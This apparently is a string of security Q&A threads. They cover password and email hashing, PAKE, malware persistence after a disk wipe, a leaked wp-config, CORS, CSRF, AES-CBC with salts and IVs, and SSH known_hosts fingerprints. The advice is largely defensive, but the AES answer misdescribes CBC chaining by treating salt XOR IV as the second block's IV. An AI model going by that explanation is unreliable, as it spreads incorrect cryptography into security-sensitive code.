There is no difference. What you describe as "cloud storage" and "shared storage" is exactly the same thing: A few GB of network-accessible storage on someone's servers.

If you want to know how much a service respects your privacy, you don't need to look at how they call their product in their marketing material. You need to read the privacy policy and terms of service. It should state exactly what data they keep, how long they keep it, and under what circumstances they are allowed to access customer data or give it to other people.

You might also want to search some older IT news for any reports about security incidents at each service provider to get an idea of how competent they are at keeping your data save.


Hashing Email Address and Contacting User I am thinking about a log-in web service that would store a users username, password, and (optional) email address.

If they forget their username or password, they can have their username and a reset-password-link, sent to their email address (if they entered one at sign up).

I have no wish to contact users at any other time.

I would like to store the email salted and hashed, so it is (hopefully) impossible to retrieve any email addresses from the database.

So, if a user has forgotten their username, or would like to reset their password, they enter their email address. If it matches a hash in the database (when salted and hashed), then it is used to sent the username, and a reset-email link to the user.

Obviously the unavoidable risk here is of a hash collision which would cause someone to be emailed another persons username and password-reset-link.

Could this be avoided by using a public PGP key to (salt and) encrypt the email address as a form of hash, and never storing the private PGP so that the process is (hopefully) irreversible?
Can you see any weaknesses or problems with this approach?
Do you think this would be a significant improvement over storing plain email addresses in a database?

Hash collisions involving non-hostile users and real-world data are vanishingly rare if you use a cryptographic hash function.  For example, if you were to use SHA-1 as your hash function, you would need to have 1,200,000,000,000,000,000,000,000 users before you'd see a 50% chance of two of them having the same email hash.  There may be reasons to use a method other than hashing to secure the email addresses, but collisions aren't one of them.


Server checking client's password without ever coming into possession of it tl;dr: I am wondering what the best way is to check a password when the client does not trust the server.

I know of two common ways servers can check if a user's password is correct:

The server stores hash of password, the client sends the password, and the server hashes the password and compares hash with stored hash. If they match, the password is correct.
The server stores the password in plaintext, and generates a salt which it combines with the password and hashes, and then sends the salt to the client. The client hashes the password and salt, and sends that hash back. The server compares the two hashes and if they match, the password is correct.

However, both these methods require that the client trusts the server, and the first one requires that the connection be secure (while the second one obviously doesn't).

I have thought of a way, but I don't know if it's good since I don't have a background in cryptography, I don't know what contortions can compromise security.

The method is that when the client creates an account, the client generates an RSA key pair from its password by seeding the random number generator with the hash of the password, and sends the public key to the server. Later, when the server wants to check if a user has the correct password, it can generate some data and send it to the client to sign. The client responds with the signature and the server can verify the signature, and if it's valid then the client had the correct password.

This way, the server never gets to see the client's password.

This might be a stupid way of doing it. However, I'd like to know what the common way of doing this is, and if there isn't a common one, what the security experts here think of the way I outlined. As I said, I know only of cryptography what I have learned for web development, which is laughable, so I might have missed something obvious.

Additional info

I know that you can just generate an RSA key pair and store a file that contains the key on your computer, like what you can do for SSH logins, however it requires you to store your key somewhere, and if the computer is seized then your password is compromised. The method I am looking for should require just a password besides the username.

Some variants of Password Authenticated Key Exchange (PAKE) allow for mutual authentication using a password; also take a look at Zero Knowledge Password Proofs. Here the server still has the user's password (created during account setup), but during key exchange the client doesn't give the server the password, rather the client and the server run a protocol that proves possession of the password and (in the case of PAKE) establishes a shared symmetric key.

Section 4.2 and 4.3 of the tcpcrypt paper give a useful intro to a couple of protocols (though it does rely on a concept introduced in the rest of tcpcrypt, namely the session ID).

Your proposed method provides authentication of the client to the server, but not the server to the client (c.f. the Internet PKI or the above protocols, which attempt to authenticate servers to clients as well). It is also vulnerable to offline password guessing - given a single example signature over the challenge data, an attacker can go through a password list, generating the key pair and seeing if it matches the example signature.


Handling Authentication without a unique username or password Working on a project and I have to authenticate a user that does not have a username ( '' ) or a password ( '' ).  There are users and guest_users, but a guest_user won't have to explicitly log-in, rather, they will be given a new user by POSTing to through our /api/ route that is set-up.

My question is, would OAuth / OAuth2 be useful for this?  Some introductory reading shows it as a way to verify access to a third-party application ( like signing in through Facebook ), but it has a secretKey, consumerKey, etc.  We could save the keys with the user and authenticate that way perhaps?

Is there another way?  We are currently looking into using Passport.js, but really the question is more in general.  We could even roll our own solution if OAuth is a little too 'heavy' for this, but we don't want a guest_user to easily be able to 'spoof' as another, simply by going off their word / unique ID

Thanks in advance

oAuth has been designed to be able to authenticate a user against an external service (plus other extras like getting some useful information about that user form the authentication platform). So you would get the information you need.

This said, this is primarily an end-user construction, requiring an interactive session.

There are derived mechanisms like JWT which could work better in your case (since you mention POST and API I believe that there will be no interactivity).

But you could simply generate on demand unique tokens with a large entropy  and use them for persistent sessions (it is difficult to call that "authentication" as you do not have any challenge). This is basically a restricted usage of web cookies (you could leverage the libraries you already have to generate them).


How could malware survive hard disk drive format without residing in the firmware? For example could it "trick" most partitioning/disk utility tools that it was successfully wiped, but with the malware still existing? Kinda similar to what would happen if you attempted to "clean" flash an infected BIOS, where it would inform you that you flashed it, but in fact nothing happened and it's still compromised.

Malware could survive without being in the firmware by hooking OS disk access calls and preventing anything from wiping it within the compromised OS.

If you were to live boot to a known clean OS or wipe the hard drive by removing it from the existing system (and you knew the malware was not residing in firmware), you could probably successfully wipe it, but there are caveats:

Do you know the hard drive itself isn't compromised?

The hard drive could theoretically be engineered with another chip that stores a copy of the malware and rewrites it after a successful wipe.  Yet another concern would be malware hiding in a different piece of hardware within the system (either via firmware infection, or hardware implant), thus effectively evading any attempts to clear it by wiping or replacing a hard drive.

The above mentioned process of using a live CD is also potentially fraught with potential peril.  Do you trust the BIOS?  What about the boot-up chain? Modern OSes often use a boot system called UEFI which is at least partially controlled by data that resides on the drive.  Though there are controls in place to try to prevent unauthorized tampering with the boot process, it may be possible for malware to inject itself into that boot chain. Even more low-tech, is malware running on a USB device or in a place to emulate a USB device, if the boot priority allows booting from USB devices before the hard drive.  Once again, the malware could load, and inject itself into any later boot processes, even transparently handing off booting to the "normal" OS after hooking it. If you've ever broken a Linux grub install, you may have experience booting to the grub shell via a live CD or USB, then manually typing code to hand-off execution to the Linux installation on the hard drive, which is similar to the process malware might employ.


wp-config leaked, how to change salts define('SECURE_AUTH_KEY',
define('AUTH_KEY',
define('LOGGED_IN_KEY',
define('NONCE_KEY',
define('AUTH_SALT',
define('SECURE_AUTH_SALT',
define('LOGGED_IN_SALT',
define('NONCE_SALT',

This is what my wp-config.php file contains
And I saw from access logs It was accessed about 20 times from other ips.

What to do? Can they compromise my wp data?

What to do? Can they compromise my wp data?

First and foremost, fix the vulnerability and/or how it leaked. Usually, an update should fix such vulnerabilities if they're from plugins/themes or WordPress core itself. If not, you can at least block requests to path that you saw on your access log, assuming it's 100% a leak.

Then, change your salts from
https://api.wordpress.org/secret-key/1.1/salt

And yes, change your database credentials and update everything accordingly.

They cannot compromise anything unless-

You have MySQL remote connection enabled or
You have a phpMyAdmin/Adminer exposed or
You're on a shared hosting or
You use the same password for your other accounts


Would it be possible to use cookie to store SSL Client Certificate? Lately, I was reading that article about SSL client certificate.

Why is nobody using SSL Client Certificate?

The answer was to that question was :

  In the current state, this excellent idea is rendered completely
  useless by the awful usability and the completely detached nature:
  This is a browser feature. It's browser dependent without a way for
  the sites to control it - to guide users through steps.

  For this to work, sites need more control.

  Without giving them access to your keys.

So basically, it's a usability problem.

That made me think about cookies. Cookies are client side storage and there is nothing more easy to use than them. In fact, most users don't even know they exist. So, I thought that cookie might help here.

The part I'm interested in is 2 factors authentication.

Something that you know : your password
Something that you have : your private key for the "certificate"

Would it possible to use cookie in some clever way to provide 2 factors authenticate by storing a "certificate" in them?

A cookie has only one function: to be sent back to the server. It is stored on the client, but the client does not understand its contents; and the client does not use it except by sending it back.

Which basically explains that the "answer" you quote is not a real answer: it tries to side-step the problem by stating that side-stepping the problem would be cool. The whole point of cookies is to be client-side storage under control of the server; the whole point of client-side certificates and private keys is to be client-side storage that is NOT under control of the server.

In fact, client-side certificates have no real value when there is only the client and the server. Certificates make sense when a third entity enters the dance: the Certification Authority. A certificate uses asymmetric cryptography so that the client may prove its identity to the server without allowing the server to impersonate the client; this contrasts with show-the-password authentication methods in which the server necessarily learns the user's password in the process. That property of certificates is of any use only if the server was not the one who issued (signed) the certificate in the first place; otherwise, a dishonest server may emit fake user certificates at will.

So the lack of client-side certificates in the Web as we know it right now is not really a "usability problem"; it rather pertains to the idea that certificates don't have extra value for the way Web sites handle authentication (namely, each site handles its own authentication needs). Delegated authentication (like OAuth) may change this model, which would then indirectly prompt for more deployment of client-side certificates, with better user interfaces.


ENV exports in docker entry_point.sh that is ran from CI Assuming I have the following line in Django settings:

OKPAY_API_KEY = os.environ.get('Ok_PAY_API_KEY')

Then import it to my build process in wercker CI

And then write this var to the entrypoint.sh of my container in the build step of wercker. the following way:

export OKPAY_API_KEY=${OKPAY_API_KEY}

My question is, what if somebody gets access to that docker container some how or to the entrypoint.sh file (say the docker repository is compromised or the attacker gets access to the running container).

Is there a better practice? or at least a way to further incapsulate this data?

P.S.
The project in question is a BTC and Altcoin exchange, so the security of the funds of my users is the highest priority for me.

As of Docker 1.13, Docker provides a secrets management system which can be used to securely store data like credentials and API keys.  There's a blog on it here

What that can do is store the key in an encrypted form on disk and then supply it to the container at runtime.  If someone gets access to the running container, they you're still going to be in trouble as obviously the key is needed by the process, so there's no real way to avoid that (Although you could do something like split out the section of your application dealing with the API into it's own container and try to reduce the attack surface).

Docker secrets management is primarily intended (for now anyway) to deal with Docker swarm setups, so if you're looking for something more generalized in terms of container secrets management, I'd suggest something like HashiCorp Vault


Is there a risk that file shredders and free space wipers steal our confidential data? I was wondering how secure are the file shredding software and free space wipers?

Lets say we are using PC Windows, and software CCleaner (from piriform) or File Shredder (found here) to securely delete our files or wipe our free disk space. We assume that the software is downloaded from the developer's sites.

I know I might thinking too negatively, but while those software are securely deleting the files or wiping free disk space, is there any chance for those programs to collect information of the deleted files, for example by making small screenshots of our data or compressed copies of the txt files, documents, passwords, or jpg or videos files and transmit to an external IP through the internet?

Even though unplugging the ethernet internet cable or use the firewall to block those programs to send any data over internet while the deleting process  happens, isn't there any possibility for the software to copy all our deleted files to another position of our hard disks, hidden from us, and transmit them slowly and at random times when the software traces that we are back online?

They know that we are using that kind of software for deleting confidential files, so they might be after our data. I am considering to wipe the free disk space of my hard disk drives, but I am really not sure if CCleaner or File Shredder are really 100% secure.  CCleaner is closer to my selection, but for some reason it sees my external USB drives as SSD, and can perform only one pass of free space wipe. I am using the portable version of CCleaner.

File shredder is a bit more suspicious to me, since the developer company site doesn't have an email or the firm is not well known. But I might be wrong.

Also which free disk space wiper are you using and do you feel 100% secure and safe when wiping free space or shredding your files?

You can of course never be sure that there are no back doors in software you get from random places on the internet.  So you have to a similar "due diligence" that is always warranted in security: to consider the value of what you are trying to shred up against how much you can trust the vendor.

So go with the high-reputation vendors or write your own software.  For instance, with http://sourceforge.net/projects/eraser/ (not a recommandation, just an example) lets you verify the source code and build it your self.

An alternative (or complementary) is to encrypt the files in the first place, leaving no content to recover if someone seizes your disks.


Virtual private server security I want to move from a shared hosting to VPS. I never used VPS or dedicated server, so I wanted to know if there are some security precautions that I should have in mind. Say, I create a ftp account or, database user, should I do smth to secure my account info, or it is something that the provider should take care of ?
Also, for example similar to shared hosting, can I restrict the access to my database from specific IP addresss ?

EDIT

The server is only for me alone, need to put there my website, so, I should be the the only user. It is a usual php website, with mysql database, no extra services are necessary.

Thanks

When you move to your own VPS you are the one administering the server so you will have to take care of your own security.

Now this security administration could be difficult or easy depending on how many services or users you allow in, if you are the one using the VPS and you just install a few services for tests purposes and not for production issue you might relax a little, following I will add some basic security considerations you will have to take care:

Install a server you really know how to manage (or one you want to learn how to manage). If you don't have the time to learn and you want to keep it secure go for one you already know.
Keep your server up to date with security updates.
Keep track of the services you are running: ftp, DB, ssh, http server... For each of one you should keep track of the users and the passwords.
Stop or remove any service you don't use (the less services, the less problems).
From time to time have a look to the user list on your services or to the latest connections to your system if you find anything suspicious try to find the problem and change passwords.
Do backups outside the server (this is a life saver).

Long story short, a VPS security is a DIY.


Hacking / Penetration Testing Laws Is it illegal to post tutorials and articles on hacking related things? In particular in the UK.

For example would it be illegal under this law?
http://www.legislation.gov.uk/ukpga/1990/18/section/3A

This is an area where you would be best consulting a lawyer for a definitive answer. We can expound on this topic to our hearts content (and I have chosen to do so below) but don't just believe us.

My reading of the Computer Misuse Act is that it does seem to prohibit writing about specific means that can be used to break into a specific computer system. In fact, it is almost certainly this provision which can be used to prosecute those who write malicious software (viruses, worms etc.). However, keep in mind that the Human Rights Act also protects your right to free speech. Which act takes precedent in a certain situation is something a lawyer can explain better than anyone on this site. I would suggest that a document detailing facts is more akin to distributing knowledge and therefore protected by free speech legislation (I'm happy to hear other suggestions).

A lawyer conversant with such things would be able to explain what is meant by "article" in this context. You obviously mean a document stating how to carry out certain procedures (i.e. how to do a port scan) whereas that provision of the act appears to me to be talking as much about programmes or data (for example tailored exploit code or a virus).

It would be analogous to being caught carrying a flick knife or lock picks. They have a specific use, and mostly used for committing crimes (though someone has told me before carrying lock picks is a grey area; IANAL). If you wrote an article "The steps you need to bypass company 's security measures and access their secret database MWAHAHAHA" then you are almost certainly breaking the law. However, an article which merely specified how nmap works in general wouldn't be an issue.


How to detect webshell I implemented an SIEM and right now looking for solutions to detect webshell upload to IIS and Apache web servers.
What are the requirement for detecting webshell upload?

You might need other solutions to integrate on your SIEM.

Anti-Malware / EDR - For detection on your endpoint.
IPS / Advanced Threat - For detection on any outbound connection to any C2 or correlated signature from your IPS.
Integrity Checker on your servers (i.e. Tripwire)
Server hardening / patches


Does a certificate authority use different private keys? I was wondering whether a CA has different private keys to sign certificates with?
Is there a risk of crypto-analysis (or something similar) when a CA signs thousands of certificates with the same private key?
Does this risk exist?

I was wondering whether a CA has different private keys to sign
  certificates with?

A CA will usually have a number of Intermediate Keys for use in signing customers' certificates.  These Intermediate Keys are in turn signed by the CA's Root Key, which should be stored "offline" and only used rarely to sign those Intermediate Keys.  The matching Root Certificate is what is widely distributed and found in your browsers Trusted Root Authorities.

  Is there a risk of crypto-analysis (or something similar) when a CA
  signs thousands of certificates with the same private key? Does this
  risk exist?

No, to quote Wikipedia, "Every modern cipher attempts to provide protection against ciphertext-only attacks."  So there's no real worry that the amount of signatures/encryptions performed with a key creates a risk of analysis that increases based on the amount of signature/encryptions it has performed.

(Of course, to be used in so many tasks, a key has to be somewhat accessible; that's why the Intermediate keys used for everyday signing are kept "online" and the Root key is generally air-gapped or kept offline.  But this is a practical, operational consideration, not a cryptographic consideration.)


What IDS Do you recommend? I am running a Debian Squeeze VPS and need a good IDS. I have used snort before and it was quite good but i am wandering if there are any other good ones out there.

Preferably compatible with modsecurity.

I personally prefer OSSEC. It is a free, open source tool backed up with commercial support.


CORS with access-control-allow-credentials Am I correct in assuming that setting the 'access-control-allow-credentials True' header, even if you are not including the 'access-control-allow-origin' header is potentially dangerous for a website? My thought here being it still allows attackers to submit requests cross-origin with the creds included, but simply doesn't allow them to view the response?

Your assumption is incorrect. Without Access-Control-Allow-Origin, all the other CORS response headers have zero effect at all.
Your thought is... misleading but not incorrect. You can always submit (simple) requests cross-origin, with credentials, utterly regardless of any CORS headers (including Access-Control-Allow-Credentials). The browser won't even know whether your server will return ACAC (or any other response header) until after the request is sent, because requests are sent before responses are returned.
You are possibly confused by the existence of CORS pre-flight requests, which are sent by the browser before sending the actual request. However, pre-flights are only used for non-simple requests. Broadly speaking, a non-simple request is just any request that can't be sent by an HTML form element. Adding credentials does NOT make a request non-simple; cookies and HTTP Basic/Digest Authorization headers are automatically included with cross-origin form submissions (in fact, there's no way for the client to prevent this), assuming the cookies aren't SameSite (and the browser isn't configured to block third-party cookies). In any case, though, a pre-flight response that contained ACAC: True but no ACAO (or ACAO with a mismatched origin, or ACAO: * and the request was to have included credentials) will result in the actual request just not being sent.


Building a security framework I know there are many security frameworks and "building" a security framework is a bad idea.

In the recent project I have worked on, I used spring security to secure the web application. In the process, I over rided/tweaked some spring security classes to fit my requirement.

My management now wants me to "takeout" the things I did and distribute it as a re usable code in an internal portal.

Now, Is this is a fair thing to ask? I tried to explain them it's just some classes build on spring security and nothing special. But they are insisting on "creating" this framework.

Is this a fair requirement ? Any ideas on how to start ? I understand that getting started with spring security is not very easy.

If I am building this, what are the functions I need to provide?

I know there are many security frameworks and "building" a security framework is a bad idea.

  In the recent project I have worked on, I used spring security to secure the web application. In the process, I over rided/tweaked some spring security classes to fit my requirement.

  My management now wants me to "takeout" the things I did and distribute it as a re usable code in an internal portal. Now, Is this is a fair thing to ask?

It's not smart. Unfortunately, I don't know enough about what you tweaked or the depth or your management's experience and understanding. My guess is that your management is thinking:

'Wow our engineer made a major security improvement in an established framework, that has got to be worth a lot.'

and 'It's already written, just a little repackaging and sales will be rolling in.'

  I tried to explain them it's just some classes build on spring security and nothing special. But they are insisting on "creating" this framework. Is this a fair requirement?

It doesn't seem sound. There seems to be a distinct discrepancy between your view of what you have done and your management's view of it. Your management likely have a better understand of business and product creation, and you likely have a better understanding of technical matters. It may be that your work has incredible product value that your management sees and you don't. However I am more inclined to believe that your work is good but not significantly valuable as a product and your management are mistaken in their enthusiasm.

Let me put it this way. How difficult would it be for a competitor to have a developer of your skill, and for that developer to do work equivalent to what you have done. If the answer is very difficult then as long as there are companies who what what you did you have a product. If the answer is not difficult, then turning your work into a product is more about volume of sales and operational overhead than about technical merit.

  Any ideas on how to start?

If you do go forward then spend a sufficient amount of time on requirements and design. Understand what management expects this product to be, and derive design goals from those expectations. Plan for test, release, maintenance, updates, and end of life. Communicate continuously with your management. If you have issues then let management know, sometimes they can help or redirect your efforts.

  If I am building this, what are the functions I need to provide?

That will depend on your design goals, which should in turn depend on managements requirements or concept for the product.


CSRF vulnerability in CGI/shell script web interface of hardware I have a web interface to a hardware that is primarily used to reboot the hardware. Reboot can be done only by authenticated user.The web interface is written in CGI/shellscript. It does not use any session/cookies.
It is one time authentication through lighttpd ldap authentication. No cookies are transferred on browser.

Can CSRF attack reboot the hardware? How can i find the CSRF vulnerability in such CGI/shell script web interfaces?

CSRF can happen anytime your server services POSTs† that don't originate from a form served by your server‡.

Not using cookies for authorization doesn't mean CSRF can't happen.  An embedded iframe can still POST to any guessable URL with guessable parameters.  A custom user-agent can still send guessable headers.

  It is one time authentication through lighttpd ldap authentication.

I don't understand the details of this authentication method, but one-time usually solves the problem with CSRF.  You won't be vulnerable to CSRF if

your reboot service always prompts the user to enter their credentials to do a reboot, then it is not by itself idempotent
the reboot service is only requested from a form with an unguessable action (e.g. one with an embedded secret or embedded credentials) from a page that checks LDAP
the reboot service only works when it has an unguessable header that is set by a page that checks LDAP then CSRF isn't a problem.
the reboot service is only reachable by an unguessable URL

† - more generally, any unsafe/side-effecting operation
‡ - more generally, not from code trusted by the origin that services the request


Variable Assigned to Object Injection Sink (security/detect-object-injection) I am testing my code on ESLint. It says:

  Variable Assigned to Object Injection Sink (security/detect-object-injection).

I'm not using an outer resource to assign it to my variable, though. Is there really a problem in the var a = newArray[c]; line?

function shuffleTitleImagesArray(originArr) {
        var newArray = originArr.slice(0); //copy of old array
        for (var c = 0; c < newArray.length; c++) {
            var b = Math.floor(Math.random() * (c + 1));
            var a = newArray[c];
            newArray[c] = newArray[b];
            newArray[b] = a;
        }
        return newArray;
    }

No, your code is safe. The problem here would be if the user could control what's inside the square brackets (c in this case). An attacker could then provide something unexpected, like the name of a method on the prototype chain. This in turn could trigger all sorts of unpredictable behaviour, potentially with security implications.

But in your case c will always be a number, so you are fine.


What is the difference between DHE and ECDH? I learned that perfect forward secrecy is implemented through DHE and ECDH but what is the difference between these 2 key exchanges?

Also can someone explain how perfect forward secrecy works?  I've found a variety of answers online ranging from: there's a secret session key that's never shared that's generated, there's a session key that changes based on random input from both users, and there's a session key that is derived from a shared secret that only the 2 users know.

First, my apologies for the math, and for overly simplifying the math!

The difference between DHE and ECDH in two bullet points:

DHE uses modular arithmetic to compute the shared secret.
ECDH is like DHE but in addition, uses algebraic curves to generate keys (An elliptic curve is a type of algebraic curve).

The overall method in both cases is still Diffie–Hellman. (Or are we calling it Diffie–Hellman-Merkle these days?)

Perfect forward secrecy is achieved by using temporary key pairs to secure each session - they are generated as needed, held in RAM during the session, and discarded after use.

The "permanent" key pairs (the ones validated by a Certificate Authority) are used for identity verification, and signing the temporary keys as they are exchanged. Not for securing the session.

Does that explain things a bit better?

Edit: To examine your examples in detail...

  secret session key that's never shared

Well, this is the definition of DH key exchange, but isn't related to perfect forward secrecy. DH allows both parties to independently calculate the shared secret will be, without transmitting the shared secret in the clear, over the still-insecure channel.

  session key that changes based on random input from both users

...Certainly both sides of the connection will use local sources of randomness to derive their temporary session keys, but I think the above phrasing misses the point: perfect forward secrecy is achieved by discarding the session keys after use.

  session key that is derived from a shared secret that only the 2 users know

By now you're thinking "How does this fact give us perfect forward secrecy?" To belabor the point: perfect forward secrecy is achieved by discarding the session keys after use.


Is Salt, IV and Key necessary when encrypting password in a database using AES? If so, how should they be used? Imagine I have a website with user accounts. I want to authenticate users, so I need to know if the password they provide matches the one stored in my database. To protect the passwords from prying eyes, I want to obfuscate them, I decide to use AES in CBC mode to do so.

I know that I shouldn't use AES-CBC to do this, and probably should go with a hashing algorithm instead of an encryption one, but please, ignore this fact. It will help me understand things better if you do.

When encrypting the user password to store it in my database using AES-CBC, do I need to use a Key, an IV and a Salt? Whatever I need to use, how would they be used exactly?

I'll give an example to better explain my issue:

  A user with username "bob" signs up with the password "mypass"

  I need to decide what is the safest way to obfuscate this password using AES-CBC.

  Right now I think to do this I need to generate a 16-byte salt using a CSPRNG[1]. Than I must prepend the salt with the user password: salt+"mypass". Than I must encrypt salt+"mypass" using AES-CBC which I will use a hardcoded 256 bit key and a randomly generated IV of 16 byte.

  Effectively I have: AesEncrypt(salt+"mypass", GenerateIv(), Key)

Given this example, I have a few points which confuses me.

1) The random IV I am passing to AES will have the effect that no two "mypass" gives the same ciphertext. Doesn't this make the salting redundant, because the point of the salt is to prevent two ciphertext of the "mypass" to be identical?

2) Inversely, could it be that the IV is redundant, and I could just pass in the zero IV or a constant IV since I am salting my passwords?

3) Say the IV and the salt are not redundant, because somehow I read without really understanding that the IV is XORed but not the salt, making both useful. Is it enough for me to properly salt to simply prepend "mypass" with the salt?

4) Am I somehow supposed to use the salt to derive the key that I will use for encrypting "mypass" with AES? Or am I doing it right by simply using a hardcoded key?

5) What am I supposed to store in my database? Should the salt, the iv and the ciphertext all be stored in individual columns, or should they be somehow combined together, if so, is simple concatenation enough, or they must be combined with a special function?

6) Am I completely wrong and if so, what should I do instead?

Thank You.

=============

[1] cryptographically secure pseudo-random number generator

When encrypting the user password to store it in my database using AES-CBC, do I need to use a Key, an IV and a Salt? Whatever I need to use, how would they be used exactly?

The IV is used to initialize the first 16 byte matrix of the AES-CBC encryption scheme. It is XORed with the first 16 byte of the message. This means that, if the IV is constant, the same message will always output the same ciphertext. On the other hand, if the IV is different on each encryption run of the same message, because of the XORing of the IV with the first block, the ciphertext will always be different, since the result of the XOR will be different. IV is an inherent part of AES-CBC, and you will always have to use an IV, the choice is whether this IV is constant or not.

The Salt is a random message that you prepend to the real message so that on every encoding of the real message, you are actually encoding a different looking message (salt + real message) which will result in a different ciphertext. This is normally used for hashing algorithms, in order to get a different hash on each run of hashing of the same message.

You do not need to use a salt with AES-CBC, because the IV is already having the effect that the salt is designed to have. But if you want to use a salt, you can, and here is what would happen. Say you had a 16 byte salt, it would be prepended to your message, so you would have (salt + message) as the input to be encrypted by AES-CBC. Being 16 byte, your salt would fit in the first block of AES-CBC, it would XORed with the IV and as a result you would have (salt XOR iv). This result of (salt XOR iv) would then be used as the IV for the second block, which in this case, would be the 16 first byte of the real message.

Therefore, in the case of AES-CBC, using a salt only has the effect of an extra processing on top of your IV. If your IV is constant, the salt will XOR with it, resulting in a new IV to the second block that is different for each run of the encryption, even though the IV is constant.

So in conclusion, you are better of just using a random IV and not using a salt at all. Or use a constant IV and have a random salt (but watch out for this, go see #2 below for details). Both of these will have the same effect, which is to generate a different ciphertext on each encryption run of the same message.

  1) The random IV I am passing to AES will have the effect that no two "mypass" gives the same ciphertext. Doesn't this make the salting redundant, because the point of the salt is to prevent two ciphertext of the "mypass" to be identical?

Yes it does. The IV and the salt effectively have the same effect, and help protect against the same attacks. Do note that, for the salt to have the same effect, proper thought in it's implementation must be considered, see #2 below for more details.

  2) Inversely, could it be that the IV is redundant, and I could just pass in the zero IV or a constant IV since I am salting my passwords?

Not so fast. A lot of things must be put together properly for this to be true. Depending on the mode of AES, it might not always be true that the salting will result in the desired behaviour. Your salt length and the way you concatenate it with your message must also be right, appending could lead to problems for long passwords for example. Therefore, it is better to use the AES as it was thought of, that is, use a random IV and no salt.

  3) Say the IV and the salt are not redundant, because somehow I read without really understanding that the IV is XORed but not the salt, making both useful. Is it enough for me to properly salt to simply prepend "mypass" with the salt?

The IV is XORed with the first block of AES in mode CBC to be encrypted. If you use a salt, the salt will be XORed with the IV in the first block, and this (IV xor Salt) will effectively become the IV of the second, which given a 16 byte salt, would be your actual message to be encrypted.

  4) Am I somehow supposed to use the salt to derive the key that I will use for encrypting "mypass" with AES? Or am I doing it right by simply using a hardcoded key?

You shouldn't ever derive the key from the salt. The salt is not secret, and therefore, if you were to do that, the key would be easily found from the non secret salt. I was getting this confused with password based encryption, where you use a key derivation function to derive the key from a secret password.

  5) What am I supposed to store in my database? Should the salt, the iv and the ciphertext all be stored in individual columns, or should they be somehow combined together, if so, is simple concatenation enough, or they must be combined with a special function?

From what I understood, this doesn't matter, as long as you know how to retrieve them. You can either use different column, or combine them together in one somehow.

  6) Am I completely wrong and if so, what should I do instead?

Basically, I am using AES-CBC as a hashing function. Where normally the 256 bit key of AES means it is very hard to brute force, this bypasses that because here you can brute force the combination of the message, since the message is a password, chances are it's a lot shorter than 256 bits to brute force.

The other issue is that, being a symmetric algorithms, if a hacker compromises the server, and gets the key, he does not even need to brute force, dictionary attack, rainbow table, or anything else, he can just decrypt all passwords.


Public key for SSH over the internet differs from a key for SSH over the LAN I have a Raspberry Pi and can access it via SSH (authentication via user password) when my laptop is in the same network. Now I want to access it over the internet.

I already set my router to forward the port to my Raspberry Pi and installed fail2ban to (hopefully) make cracking the password via brute force infeasible.

The weird thing is that I get a different key when accessing the Pi over the internet instead of via LAN:

christoph@christoph-laptop-14-04:~$ ssh-keygen -H -F 192.168.1.92
# Host 192.168.1.92 found: line 9 type ECDSA
|1|Zz8zhCYwRu7jKa/bcUTnw/BzGmo=|m2E+0RwiVXcr8lAxbK/W13ZmZUA= ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAgUNwcHmVBowUoKvi9iLtoKifh/9qKAj6BNfQsYzYuoXtlYEnTUVLn4XpMYJ9+TMwL23ZDnmJuz8noKK3rFrYg=
christoph@christoph-laptop-14-04:~$ ssh-keygen -H -F [my global IP]
# Host 185.5.10.87 found: line 10 type ECDSA
|1|kEE5HDC1uBkqDN3SpQ8yFvwdj0A=|iDaNuB2Y8d3kIFPqFoXjrERRJ/0= ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAgUNwcHmVBowUoKvi9iLtoKifh/9qKAj6BNfQsYzYuoXtlYEnTUVLn4XpMYJ9+TMwL23ZDnmJuz8noKK3rFrYg=

Everything but the beginning is the same. So why is the beginning different? Is the IP address encoded into this or something like this?

Another thing that confuses me is that when there was a different key before (I'm obviously unable to connect because the key changed but also) I'm shown this:

ECDSA key fingerprint is ed:47:24:c6:4e:c1:ca:99:d9:77:59:8f:01:12:85:cd

I can figure out the one of my laptop via:

ssh-keygen -l -f /etc/ssh/ssh_host_ecdsa_key.pub

and it comes in the same format. But when I ssh into my Pi and execute the same command, the output is:

256 SHA256:Npy6IbI8vDd4V3iCOcIVEsF4j2bsf9vbWcsf1ti8izE root@christoph-pi (ECDSA)

which doesn't seem to have anything to do with ed:47:24:c6:4e:c1:ca:99:d9:77:59:8f:01:12:85:cd.

I first thought that maybe Npy6IbI8vDd4V3iCOcIVEsF4j2bsf9vbWcsf1ti8izE was a base 64 encoding for ed:47:24:c6:4e:c1:ca:99:d9:77:59:8f:01:12:85:cd which seems to be in hex coding with each byte separated from the next one with a colon, but the length of Npy6IbI8vDd4V3iCOcIVEsF4j2bsf9vbWcsf1ti8izE is 43 which isn't an integer multiple of 4, so it's not base64. So what is it?

The weird thing is that I get a different key when accessing the Pi over the internet instead of via LAN:

Manual page for sshd describes format of your known_hosts file:

SSH_KNOWN_HOSTS FILE FORMAT
Each line in these files contains the following fields: markers (optional), hostnames, [...].  The fields are separated by spaces.

Se we got to the first answer. The first field is hostname, which is obviously different when you connect from outside or from inside, as proposed in your question.
Further we can read

Alternately, hostnames may be stored in a hashed form which hides host names and addresses should the file's contents be disclosed.  Hashed hostnames start with a ‘|’ character.  Only one hashed hostname may appear on a single line [...]

Yes, your hostnames/ip addresses are hashed.

But when I ssh into my Pi and execute the same command [...]

The new versions are using SHA-256 hashes instead of the obsolete MD5. You can force the new version to generate you the old fingerprint using:
ssh-keygen -l -E md5 -f /etc/ssh/ssh_host_ecdsa_key.pub

Conversion between these two formats are possible, but not useful. Using ssh-keygen directly as I proposed above is advised solution.
You can generate fingerprint from public key stored in your known_hosts file somehow like this:
ssh-keygen -l -f <( ssh-keygen -H -F 192.168.1.92 | tail -n 1 | cut -d" " -f 2,3)


Should I keep hashed values secret? Many client-server systems use hash functions for the authentication of users password.They use passwords as inputs of different hash functions like MD5,SHA-1 etc and compute hash values.Then they store the hash values in their database.

As far as I know,, if the hash values are known to crackers they can try to retrieve passwords through brute-force attack,dictionary attack ,look up table and so on.

I want to know if the following fact is true or not.

It is necessary to keep hash values secret from crackers if we want to make the authentication system difficult to crack for crackers.

Yes, it is necesarry to keep the hashes secret.

For users with really good (long and random) passwords, a leaked hash might not be the worst that could happend, because it might be unfeasible to crack the hash anyway. But for users with bad (short and not so random) passwords, a leaked hash would in practice mean that their account is comrpomised. Anyone can easily brute force Passw0rd!, no matter how good your hash function are.

